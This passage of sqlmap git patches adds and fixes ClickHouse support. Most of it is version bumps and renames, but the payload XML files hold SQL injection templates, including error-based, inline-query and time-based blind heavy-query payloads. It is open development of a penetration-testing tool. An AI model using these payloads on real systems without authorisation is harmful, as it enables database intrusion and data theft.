b/plugins/generic/entries.py @@ -408,7 +408,7 @@ def dumpTable(self, foundData=None): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) From b1aaac5ba28bb20e8ec8346704baed15ce192c17 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Feb 2023 23:14:29 +0100 Subject: [PATCH 114/599] Minor update --- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/__init__.py | 11 +++++++++-- plugins/dbms/clickhouse/connector.py | 4 ++-- plugins/dbms/clickhouse/enumeration.py | 4 ++-- plugins/dbms/clickhouse/filesystem.py | 4 ++-- plugins/dbms/clickhouse/fingerprint.py | 4 ++-- plugins/dbms/clickhouse/syntax.py | 4 ++-- plugins/dbms/clickhouse/takeover.py | 4 ++-- 8 files changed, 22 insertions(+), 15 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 05f1bad9d14..b7496e467ad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.0" +VERSION = "1.7.2.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 2036e49eb0a..88db47a8052 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -1,3 +1,10 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + from lib.core.enums import DBMS from lib.core.settings import CLICKHOUSE_SYSTEM_DBS from lib.core.unescaper import unescaper @@ -11,7 +18,7 @@ class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ - This class defines clickhouse methods + This class defines Clickhouse methods """ def __init__(self): @@ -20,4 +27,4 @@ def __init__(self): for cls in self.__class__.__bases__: cls.__init__(self) - unescaper[DBMS.CLICKHOUSE] = Syntax.escape \ No newline at end of file + unescaper[DBMS.CLICKHOUSE] = Syntax.escape diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index e9a9bda215c..76d1d77e181 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -11,4 +11,4 @@ from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py index d2bf574111c..4a1cdb92ff1 100755 --- a/plugins/dbms/clickhouse/enumeration.py +++ b/plugins/dbms/clickhouse/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -9,4 +9,4 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py index af9b2e07f2e..5991a52d8ac 100755 --- a/plugins/dbms/clickhouse/filesystem.py +++ b/plugins/dbms/clickhouse/filesystem.py @@ -1,11 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py index 89c926ab9ea..5b2b5fe3c5e 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -88,4 +88,4 @@ def checkDbms(self): warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE logger.warn(warnMsg) - return False \ No newline at end of file + return False diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py index 86f120e7f80..5adee2f519f 100755 --- a/plugins/dbms/clickhouse/syntax.py +++ b/plugins/dbms/clickhouse/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -15,4 +15,4 @@ def escape(expression, quote=True): True """ - return expression \ No newline at end of file + return expression diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py index f9539ee668a..f061c246972 100755 --- a/plugins/dbms/clickhouse/takeover.py +++ b/plugins/dbms/clickhouse/takeover.py @@ -1,11 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - pass \ No newline at end of file + pass From d7180d38c47fadf60caa4d96177db30a9e79b6ac Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Feb 2023 23:30:05 +0100 Subject: [PATCH 115/599] Some fixes related to ClickHouse support (#5229) --- data/xml/payloads/time_blind.xml | 20 ++++++++++---------- lib/core/dicts.py | 4 ++-- lib/core/enums.py | 2 +- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/__init__.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- 6 files changed, 16 insertions(+), 16 deletions(-) diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index f181a758e4c..944ec8008b4 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -195,9 +195,9 @@ 2 1,2,3,8,9 1 - AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) @@ -235,9 +235,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) @@ -276,9 +276,9 @@ 2 1,2,3,9 1 - AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) # @@ -318,9 +318,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) # @@ -1628,9 +1628,9 @@ 2 1,2,3,9 1 - IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index ee455729afc..e031eca8e48 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -270,7 +270,7 @@ DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", DBMS.MSSQL: "DIFFERENCE(NULL,NULL)", - DBMS.MYSQL: "QUARTER(NULL)", + DBMS.MYSQL: "QUARTER(NULL XOR NULL)", DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", DBMS.SQLITE: "UNLIKELY(NULL)", @@ -288,7 +288,7 @@ DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", - DBMS.CLICKHOUSE: "coalesce(NULL)", + DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL", } SQL_STATEMENTS = { diff --git a/lib/core/enums.py b/lib/core/enums.py index 4fba2821879..f589e9de4f6 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -52,7 +52,7 @@ class DBMS(object): PRESTO = "Presto" ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" - CLICKHOUSE = "Clickhouse" + CLICKHOUSE = "ClickHouse" CRATEDB = "CrateDB" CUBRID = "Cubrid" CACHE = "InterSystems Cache" diff --git a/lib/core/settings.py b/lib/core/settings.py index b7496e467ad..4009d625c1a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.1" +VERSION = "1.7.2.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 88db47a8052..873a0bb1bd7 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -18,7 +18,7 @@ class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ - This class defines Clickhouse methods + This class defines ClickHouse methods """ def __init__(self): diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index d1df204e2d9..a61ca5b943e 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -175,7 +175,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") + result = inject.checkBooleanExpression("QUARTER(NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL From 30ba167cc1506fa6531c84383428d5bb30d81412 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 3 Feb 2023 23:56:50 +0100 Subject: [PATCH 116/599] Some more fixes related to ClickHouse support (#5229) --- data/xml/errors.xml | 5 +++-- data/xml/payloads/error_based.xml | 32 ++++++++++++++++++++++------- data/xml/payloads/inline_query.xml | 10 ++++----- data/xml/payloads/time_blind.xml | 26 +++++++++++++++++++---- data/xml/queries.xml | 4 ++-- lib/controller/handler.py | 6 +++--- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/__init__.py | 2 +- 8 files changed, 62 insertions(+), 25 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index b78dd91c649..4993a8ae81e 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -211,8 +211,9 @@ - - + + + diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 6cc089d09d6..9b1d2725ffe 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -838,7 +838,7 @@ IBM DB2 OR error-based - WHERE or HAVING clause 2 4 - 1 + 3 1 1 OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -853,23 +853,41 @@ - - Clickhouse AND error-based - Parameter replace + ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 - 2 + 3 1 1,2,3,9 1 - AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]' AS String) + AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+
+ + + ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') - AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]' AS String) + OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
- Clickhouse + ClickHouse
diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index 8e3b91f7048..7269be695c4 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -135,21 +135,21 @@ - Clickhouse inline queries + ClickHouse inline queries 3 - 2 + 3 1 1,2,3,8 3 - (SELECT '[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]') + ('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]') + ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
- Clickhouse + ClickHouse
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index 944ec8008b4..5de31ec45fe 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1494,14 +1494,32 @@ - - Clickhouse AND time-based blind (heavy query) - fuzzBits + ClickHouse AND time-based blind (heavy query) 5 - 3 + 4 1 1,2,3 1 + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+
+ + + ClickHouse OR time-based blind (heavy query) + 5 + 5 + 3 + 1,2,3 + 1 OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) @@ -1510,7 +1528,7 @@
- Clickhouse + ClickHouse
diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 82570ce7e4c..a3e006ccb72 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1319,7 +1319,7 @@
- + @@ -1331,7 +1331,7 @@ - + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 0e3c1999f92..1c4994e8484 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -47,8 +47,8 @@ from plugins.dbms.altibase import AltibaseMap from plugins.dbms.cache.connector import Connector as CacheConn from plugins.dbms.cache import CacheMap -from plugins.dbms.clickhouse.connector import Connector as ClickhouseConn -from plugins.dbms.clickhouse import ClickhouseMap +from plugins.dbms.clickhouse.connector import Connector as ClickHouseConn +from plugins.dbms.clickhouse import ClickHouseMap from plugins.dbms.cratedb.connector import Connector as CrateDBConn from plugins.dbms.cratedb import CrateDBMap from plugins.dbms.cubrid.connector import Connector as CubridConn @@ -125,7 +125,7 @@ def setHandler(): (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), - (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickhouseMap, ClickhouseConn), + (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickHouseMap, ClickHouseConn), (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn), (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn), diff --git a/lib/core/settings.py b/lib/core/settings.py index 4009d625c1a..9d224253ad7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.2" +VERSION = "1.7.2.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 873a0bb1bd7..a4a1314420f 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -16,7 +16,7 @@ from plugins.dbms.clickhouse.takeover import Takeover from plugins.generic.misc import Miscellaneous -class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): +class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines ClickHouse methods """ From 46495f70f8a8aaa4345242d26cc82a023f272481 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 4 Feb 2023 00:00:21 +0100 Subject: [PATCH 117/599] Adding char escaper to ClickHouse support (#5229) --- lib/core/settings.py | 2 +- plugins/dbms/clickhouse/syntax.py | 10 +++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d224253ad7..7ea40144e6e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.3" +VERSION = "1.7.2.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py index 5adee2f519f..2d4cfcaaf46 100755 --- a/plugins/dbms/clickhouse/syntax.py +++ b/plugins/dbms/clickhouse/syntax.py @@ -1,18 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar" True """ - return expression + def escaper(value): + return "||".join("char(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) From 9eb970e7c7be72f4e56bb347f7dbfb687570cdb2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 4 Feb 2023 00:28:33 +0100 Subject: [PATCH 118/599] More fixes related to ClickHouse support (#5229) --- lib/core/agent.py | 2 +- lib/core/settings.py | 5 +++-- plugins/dbms/clickhouse/connector.py | 5 +---- plugins/dbms/clickhouse/enumeration.py | 3 +-- plugins/dbms/clickhouse/filesystem.py | 11 +++++++++-- plugins/dbms/clickhouse/fingerprint.py | 2 +- plugins/dbms/clickhouse/takeover.py | 21 +++++++++++++++++++-- plugins/generic/entries.py | 2 +- 8 files changed, 36 insertions(+), 15 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 3a09c44508d..53ef84a0835 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1027,7 +1027,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB): + elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB, DBMS.CLICKHOUSE): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) limitedQuery += " %s" % limitStr diff --git a/lib/core/settings.py b/lib/core/settings.py index 7ea40144e6e..9b6a74fac41 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.4" +VERSION = "1.7.2.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -283,7 +283,7 @@ ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") -CLICKHOUSE_SYSTEM_DBS = ("information_schema", "system") +CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system") CUBRID_SYSTEM_DBS = ("DBA",) CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") EXTREMEDB_SYSTEM_DBS = ("",) @@ -415,6 +415,7 @@ r"(?P[^\n>]{0,100}SQL Syntax[^\n<]+)", r"(?s)
  • Error Type:
    (?P.+?)
  • ", r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", + r"Code: \d+. DB::Exception: (?P[^<>\n]*)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", r"(?Pquery error: SELECT[^<>]+)" diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index 76d1d77e181..b58d1135780 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -1,13 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.common import getSafeExString -from lib.core.data import logger -from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py index 4a1cdb92ff1..8e9d81f7d7d 100755 --- a/plugins/dbms/clickhouse/enumeration.py +++ b/plugins/dbms/clickhouse/enumeration.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py index 5991a52d8ac..83b3aa1784b 100755 --- a/plugins/dbms/clickhouse/filesystem.py +++ b/plugins/dbms/clickhouse/filesystem.py @@ -1,11 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - pass + def readFile(self, remoteFile): + errMsg = "on ClickHouse it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on ClickHouse it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/clickhouse/fingerprint.py 